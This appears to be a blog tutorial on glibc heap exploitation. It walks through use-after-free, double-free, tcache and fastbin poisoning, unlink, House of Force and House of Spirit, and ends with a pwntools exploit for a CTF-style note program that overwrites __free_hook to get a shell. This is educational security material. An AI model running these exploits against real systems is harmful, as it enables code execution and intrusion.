Heap Exploitation Techniques
Thilan Dissanayaka Exploit Development April 11, 2020

Heap Exploitation Techniques

In the previous article, we dissected glibc’s malloc — chunks, bins, tcache, coalescing, and the metadata that holds it all together. Now we break it.

Heap exploitation is fundamentally different from stack exploitation. On the stack, the goal is clear: overwrite the return address, control EIP. On the heap, there’s no return address to overwrite. Instead, we corrupt the allocator’s metadata to trick malloc() into returning a pointer to memory we want to control — a function pointer, a GOT entry, a vtable, or any other target.

The general pattern:

1. Corrupt heap metadata (via overflow, use-after-free, or double-free)
2. Trick malloc() into returning a pointer to a controlled location
3. Write to that location (overwrite a function pointer, GOT entry, etc.)
4. Trigger the corrupted pointer → code execution

Let’s walk through the major techniques.

1. Use-After-Free (UAF)

Use-after-free is the most common heap vulnerability in modern software. It happens when a program frees memory but continues to use the pointer.

The Bug

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

typedef struct {
    void (*handler)(char *);
    char name[32];
} User;

void admin_shell(char *arg) {
    system("/bin/sh");
}

void greet(char *name) {
    printf("Hello, %s!\n", name);
}

int main() {
    User *user = malloc(sizeof(User));
    user->handler = greet;
    strcpy(user->name, "thilan");

    // Bug: free the user but keep using the pointer
    free(user);

    // Attacker allocates same-sized chunk — gets the same memory
    char *evil = malloc(sizeof(User));
    // Overwrite the function pointer
    *(void **)(evil) = admin_shell;

    // Dangling pointer still used — calls our overwritten handler
    user->handler(user->name);  // Calls admin_shell instead of greet!

    return 0;
}

Why It Works

  1. user is allocated — malloc returns address 0x5655a1a0
  2. free(user) — The chunk goes to tcache (or a free bin)
  3. malloc(sizeof(User)) — Same size as the freed chunk. The allocator reuses the same memory: returns 0x5655a1a0
  4. evil points to the exact same memory as user
  5. Writing to evil modifies the data that user still points to
  6. user->handler() calls our overwritten function pointer
Timeline:
  malloc(user)     → user = 0x5655a1a0  [handler=greet, name="thilan"]
  free(user)       → chunk goes to free list
  malloc(evil)     → evil = 0x5655a1a0  (same address!)
  *(evil) = admin_shell  → overwrites user->handler
  user->handler()  → calls admin_shell → shell!

In the Real World

UAF is the dominant vulnerability class in browsers (Chrome, Firefox, Safari), PDF readers, and any software that manages complex object lifetimes. The typical pattern:

  1. An object is freed but a reference survives (dangling pointer)
  2. The attacker triggers an allocation of the same size to reclaim the memory
  3. The attacker controls the new allocation’s contents
  4. The dangling pointer is dereferenced — reading attacker-controlled data

This is why browsers use custom allocators (PartitionAlloc in Chrome, jemalloc in Firefox) with features specifically designed to mitigate UAF — like isolating different object types in separate heap regions.

2. Double-Free

A double-free occurs when free() is called twice on the same pointer. This corrupts the free list, allowing an attacker to trick malloc() into returning the same chunk twice.

Tcache Double-Free (glibc < 2.29)

In early tcache versions, there was no check for double-free:

char *a = malloc(32);
free(a);
free(a);  // Double-free — no error in glibc < 2.29!

After the double-free, the tcache looks like:

tcache[32]:  a → a → a → a → ...  (circular!)

The chunk’s fd pointer points to itself. Now:

char *b = malloc(32);  // Returns a
char *c = malloc(32);  // Returns a AGAIN (it's still in the list)

Both b and c point to the same memory. Write to b, read from c — or vice versa. This gives overlapping allocations, which leads to all sorts of corruption.

Tcache Poisoning via Double-Free

The real power comes from modifying the fd pointer between the two allocations:

char *a = malloc(32);

free(a);
free(a);  // Double-free — a is in tcache twice

// First malloc returns a
char *b = malloc(32);

// Overwrite a's fd pointer (since b == a, this modifies the tcache list)
*(size_t *)b = (size_t)target_address;

// Second malloc returns a again (consuming the first copy)
char *c = malloc(32);

// Third malloc follows the corrupted fd → returns target_address!
char *d = malloc(32);  // d == target_address — we control where malloc returns!

The tcache list progression:

After double-free:     tcache → a → a (circular)
After malloc(b):       tcache → a
After overwrite fd:    tcache → a → target_address
After malloc(c):       tcache → target_address
After malloc(d):       d = target_address!  ← We control this

Now d points to whatever address we chose. We can write arbitrary data to an arbitrary address — the foundation for code execution.

Targeting __free_hook

A classic target is __free_hook — a glibc function pointer that, if non-NULL, is called by free() instead of the normal free logic:

// Overwrite __free_hook with system()
*(size_t *)b = (size_t)&__free_hook;

malloc(32);  // consume
malloc(32);  // consume
char *hook = malloc(32);  // returns __free_hook address

*(size_t *)hook = (size_t)system;  // __free_hook = system

// Now: free(ptr) calls system(ptr)
char *cmd = malloc(32);
strcpy(cmd, "/bin/sh");
free(cmd);  // free("/bin/sh") → system("/bin/sh") → shell!

Note: __free_hook was removed in glibc 2.34. Modern exploits target other function pointers (vtables, GOT entries, etc.).

Bypassing glibc 2.29+ Double-Free Detection

glibc 2.29 added a key field to tcache entries. When a chunk is put in tcache, the key field is set to a known value. On free(), if the key already matches, it’s a double-free.

Bypass: free the chunk, corrupt the key field (via a heap overflow or UAF), then free again. The check passes because the key no longer matches.

3. Heap Overflow

A heap overflow is the heap equivalent of a stack buffer overflow — writing past the end of a heap allocation into the next chunk’s metadata.

Overwriting the Next Chunk’s Metadata

char *a = malloc(32);
char *b = malloc(32);

// Overflow a — write past its 32 bytes into b's header
strcpy(a, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"  // 32 bytes for a
            "BBBBBBBB");                           // Overwrites b's header

Memory layout:

Before overflow:
┌─────────────────────┬──────────────┬─────────────────────┬──────────────┐
│ a's header           │ a's data     │ b's header           │ b's data     │
│ prev_size | size     │ AAAA...      │ prev_size | size     │ ...          │
└─────────────────────┴──────────────┴─────────────────────┴──────────────┘

After overflow:
┌─────────────────────┬──────────────┬─────────────────────┬──────────────┐
│ a's header           │ a's data     │ CORRUPTED            │ b's data     │
│ prev_size | size     │ AAAA...AAAA  │ BBBB | BBBB          │ ...          │
└─────────────────────┴──────────────┴─────────────────────┴──────────────┘
                                       ↑ prev_size and size are corrupted!

By carefully controlling the overflow data, we can manipulate b’s size field, prev_size, fd, and bk pointers.

Overlapping Chunks

One powerful technique: corrupt a chunk’s size field to create overlapping chunks.

char *a = malloc(24);    // Chunk at 0x100, size 0x20
char *b = malloc(24);    // Chunk at 0x120, size 0x20
char *c = malloc(24);    // Chunk at 0x140, size 0x20
char *guard = malloc(24); // Prevent coalescing with top chunk

// Overflow a to change b's size from 0x21 to 0x41 (covers b + c)
*(size_t *)(a + 24) = 0;    // b's prev_size
*(size_t *)(a + 28) = 0x41; // b's size — now covers b AND c

free(b);  // Frees a "chunk" that's actually b + c combined

// Allocate a chunk that overlaps c
char *d = malloc(56);  // Gets the combined b+c area

// d overlaps with c — writing to d writes to c's memory
// c is still a valid, allocated pointer!

Now d and c overlap. Writing to d at the right offset modifies c’s contents. If c contains a function pointer, game over.

4. Fastbin Dup

Fastbin dup is the fastbin equivalent of tcache poisoning. It exploits the LIFO nature of fast bins to get malloc() to return an arbitrary address.

The Classic Technique

glibc has a simple double-free check for fast bins: it compares the chunk being freed with the chunk at the top of the fast bin. If they match, it aborts. But it only checks the top — so we can bypass it by freeing a different chunk in between:

char *a = malloc(32);
char *b = malloc(32);

free(a);      // Fastbin: a → NULL
free(b);      // Fastbin: b → a → NULL
free(a);      // Fastbin: a → b → a (circular!) — bypasses check because top was b, not a

Now a is in the fast bin twice. We can poison fd just like tcache:

char *x = malloc(32);       // Returns a
*(size_t *)x = target_addr; // Corrupt a's fd to point to target

char *y = malloc(32);       // Returns b
char *z = malloc(32);       // Returns a (again)
char *w = malloc(32);       // Returns target_addr!

There’s one extra constraint: fast bins have a size check. The fake chunk at target_addr must have a valid size field that matches the fast bin’s expected size. Attackers search for naturally occurring values in memory that look like valid sizes (a technique called “finding a fake chunk”).

Finding Fake Chunks Near __malloc_hook

A classic target is __malloc_hook (a function pointer called by malloc()). The memory near __malloc_hook in libc often contains values that, when interpreted as a chunk size, match a fast bin size. Attackers use this as their fake chunk:

# Search for a valid fastbin size near __malloc_hook
fake_chunk = libc.symbols['__malloc_hook'] - 0x23  # Offset found by scanning

# The byte at fake_chunk + 8 (the size field) happens to be 0x7f
# 0x7f rounds to 0x70 → valid for fastbin[5]

This technique is specific to each libc version — the exact offset varies. But the principle is universal: find a naturally occurring “size” value near your target.

5. The Unlink Attack (Classic)

The unlink attack exploits the coalescing mechanism. When free chunks are merged, the allocator removes them from their doubly-linked list using an unlink macro:

// Simplified unlink:
void unlink(chunk *P) {
    chunk *FD = P->fd;
    chunk *BK = P->bk;
    FD->bk = BK;   // Forward's back = our back
    BK->fd = FD;    // Back's forward = our forward
}

If we control P->fd and P->bk, the unlink writes:

  • BK to FD->bk (at address FD + offset_of_bk)
  • FD to BK->fd (at address BK + offset_of_fd)

This is an arbitrary write — we control both the address and the value.

Safe Unlinking (Modern glibc)

Modern glibc added a check:

if (FD->bk != P || BK->fd != P) {
    abort();  // Corrupted doubly-linked list
}

This verifies that the forward chunk’s back pointer and the backward chunk’s forward pointer both point back to P. A naive attacker who sets fd and bk to arbitrary values will fail this check.

Bypassing Safe Unlinking

The bypass requires knowing the address of P (the chunk being unlinked). If we have a global pointer to the chunk:

char *global_ptr;
global_ptr = malloc(128);

We set:

P->fd = &global_ptr - 12   (so that fd->bk == &global_ptr == P ✓)
P->bk = &global_ptr - 8    (so that bk->fd == &global_ptr == P ✓)

After unlink:

FD->bk = BK  → *((&global_ptr - 12) + 12) = &global_ptr - 8
             → *(&global_ptr) = &global_ptr - 8
             → global_ptr = &global_ptr - 8

Now global_ptr points near itself. Writing through global_ptr with a controlled offset lets us overwrite other global data — including GOT entries or other function pointers.

6. House of Force

The House of Force attacks the top chunk. By overflowing into the top chunk’s size field and setting it to a very large value (like 0xFFFFFFFF), we can make malloc() return nearly any address.

char *a = malloc(32);
// Overflow a to corrupt the top chunk's size
*(size_t *)(a + 32 + 4) = 0xFFFFFFFF;  // Top chunk size = huge

// Calculate distance to target
size_t target = 0x0804a020;  // GOT entry
size_t top = (size_t)(a + 32 + 8);  // Current top chunk address
size_t distance = target - top - 8;  // Account for chunk header

malloc(distance);     // Advances top chunk to target
char *evil = malloc(32);  // Returns target!

Modern glibc checks that the top chunk’s size is reasonable, making this harder — but on older versions or with other corruptions, it’s still viable.

7. House of Spirit

House of Spirit creates a fake chunk on the stack (or anywhere in memory) and frees it, injecting it into the free list. A subsequent malloc() returns the fake chunk’s address.

// Create a fake chunk on the stack
size_t fake_chunk[10];
fake_chunk[0] = 0;      // prev_size
fake_chunk[1] = 0x41;   // size (valid for a bin) with PREV_INUSE set
// Need a valid next chunk too:
fake_chunk[8] = 0;       // next chunk's prev_size
fake_chunk[9] = 0x21;    // next chunk's size (valid)

// Free the fake chunk (points to fake_chunk[2], the "user data")
free(&fake_chunk[2]);

// malloc returns our fake stack chunk!
char *stack_ptr = malloc(0x38);  // stack_ptr points to the stack!

Now malloc() returned a pointer to the stack. Writing to stack_ptr writes to the stack — including the return address.

Putting It All Together — A Realistic Exploit

Here’s a simplified CTF-style challenge and exploit:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

char *notes[10];

void create_note(int idx, int size) {
    notes[idx] = malloc(size);
    printf("Content: ");
    read(0, notes[idx], size);
}

void delete_note(int idx) {
    free(notes[idx]);
    // Bug: doesn't set notes[idx] = NULL (dangling pointer)
}

void edit_note(int idx, int size) {
    // Bug: uses attacker-controlled size, not original allocation size
    read(0, notes[idx], size);
}

void show_note(int idx) {
    printf("%s\n", notes[idx]);
}

The bugs: UAF (dangling pointer after free) and heap overflow (edit with arbitrary size).

Exploit Strategy (tcache poisoning)

from pwn import *

p = process('./challenge')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

# 1. Create two notes
create(0, 0x80)   # Note 0
create(1, 0x80)   # Note 1

# 2. Free note 0 — it goes to tcache
delete(0)

# 3. Leak: show note 0 (UAF — reads freed chunk's fd pointer)
# In tcache, the fd contains a heap address or NULL
# For unsorted bin, fd/bk contain libc addresses (main_arena)
show(0)
leak = u64(p.recv(6).ljust(8, b'\x00'))
libc.address = leak - 0x3ebca0  # offset to main_arena
log.info(f"libc: {hex(libc.address)}")

# 4. Double-free via UAF (or use edit to corrupt fd)
delete(0)  # Double-free if no tcache key check
# Or: edit note 0 to overwrite fd pointer

# 5. Tcache poison — point fd to __free_hook
edit(0, 8, p64(libc.symbols['__free_hook']))

# 6. Allocate twice — second malloc returns __free_hook
create(2, 0x80)   # Returns the original chunk
create(3, 0x80)   # Returns __free_hook!

# 7. Write system() to __free_hook
edit(3, 8, p64(libc.symbols['system']))

# 8. Free a note containing "/bin/sh" → free() calls system("/bin/sh")
edit(0, 8, b"/bin/sh\x00")
delete(0)

p.interactive()
$ python3 exploit.py
[*] libc: 0x7f3a8b200000
$ whoami
thilan
$ id
uid=1000(thilan) gid=1000(thilan)

Shell. From a heap vulnerability.

Modern Mitigations and Bypasses

Mitigation What It Does Bypass
Safe unlinking Validates fd/bk before unlink Use a known pointer address
Tcache key (2.29) Detects double-free in tcache Corrupt the key via overflow/UAF
Tcache count (2.30) Limits entries per bin Use fastbins instead
Safe-linking (2.32) XORs fd pointers with address Leak a heap address to recover the XOR key
__free_hook removed (2.34) No more easy hook target Use IO_FILE structs, vtables, GOT
ASLR Randomizes heap/libc addresses Leak via UAF or format string

The trend is clear — each glibc version adds more checks, and exploit developers find new targets. Post-2.34 exploitation focuses on FILE structure attacks (corrupting the vtable of stdout/stdin) and FSOP (File Stream Oriented Programming).

Heap Exploitation Cheat Sheet

Technique Prerequisite What You Get
Use-After-Free Dangling pointer + reallocation Overlapping allocations, control freed data
Double-Free Free same chunk twice Chunk appears in free list twice → tcache/fastbin poisoning
Tcache Poisoning Corrupt tcache fd pointer malloc() returns arbitrary address
Fastbin Dup Double-free with fastbin Same as tcache poisoning (older technique)
Heap Overflow Write past allocation boundary Corrupt adjacent chunk metadata
Overlapping Chunks Corrupt size field Two valid pointers to overlapping memory
Unlink Corrupt fd/bk + know chunk address Arbitrary write via unlinking
House of Force Corrupt top chunk size malloc() returns nearly any address
House of Spirit Control memory, call free() on it Inject fake chunk into free list

Practice Resources

Heap exploitation is hard to learn from reading alone. You need practice:

  • how2heap (github.com/shellphish/how2heap) — The definitive collection of heap exploitation techniques with working examples for every glibc version
  • pwnable.kr — Online CTF challenges including heap challenges
  • pwnable.tw — More advanced heap challenges
  • Nightmare (guyinatuxedo.github.io) — Reverse engineering and exploit dev course with heap sections
  • HeapLAB (by Max Kamper) — Structured course specifically for heap exploitation

Final Thoughts

Heap exploitation is where exploit development gets real. Stack overflows are becoming rare in modern software — compilers insert canaries, ASLR randomizes the stack, DEP prevents code injection. But the heap is dynamic, complex, and managed by intricate allocator logic that’s difficult to protect completely.

Every new glibc version patches old techniques and introduces new checks. And every few months, researchers find new ways around those checks. The fundamental problem is that the heap allocator must be both fast and safe — and performance optimizations (like tcache’s minimal checking) create exploitation opportunities.

If you want to understand modern vulnerability research — browser exploits, kernel exploits, server compromises — heap exploitation is the skill that matters most.

Happy reversing!

ALSO READ
Writing a Shell Code for Linux
Apr 21, 2020 Exploit Development

Shellcode is a small piece of machine code used as the payload in exploit development. In this post, we write Linux shellcode from scratch — starting with a simple exit, building up to spawning a shell, and explaining every decision along the way.

Exploiting a Stack Buffer Overflow on Windows
Apr 12, 2020 Exploit Development

In a previous tutorial we discusses how we can exploit a buffer overflow vulnerability on a Linux machine. I wen through all theories in depth and explained each step. Now today we are going to jump...

Exploiting a  Stack Buffer Overflow  on Linux
Apr 01, 2020 Exploit Development

Have you ever wondered how attackers gain control over remote servers? How do they just run some exploit and compromise a computer? If we dive into the actual context, there is no magic happening....

Basic concepts of Cryptography
Mar 01, 2020 Cryptography

Ever notice that little padlock icon in your browser's address bar? That's cryptography working silently in the background, protecting everything you do online. Whether you're sending an email,...

Common Web Application Attacks
Feb 05, 2020 Application Security

Web applications are one of the most targeted surfaces by attackers. This is primarily because they are accessible over the internet, making them exposed and potentially vulnerable. Since these...

Remote Code Execution (RCE)
Jan 02, 2020 Application Security

Remote Code Execution (RCE) is the holy grail of application security vulnerabilities. It allows an attacker to execute arbitrary code on a remote server — and the consequences are as bad as it sounds. In this post, we'll go deep into RCE across multiple languages, including PHP, Java, Python, and Node.js.

> > >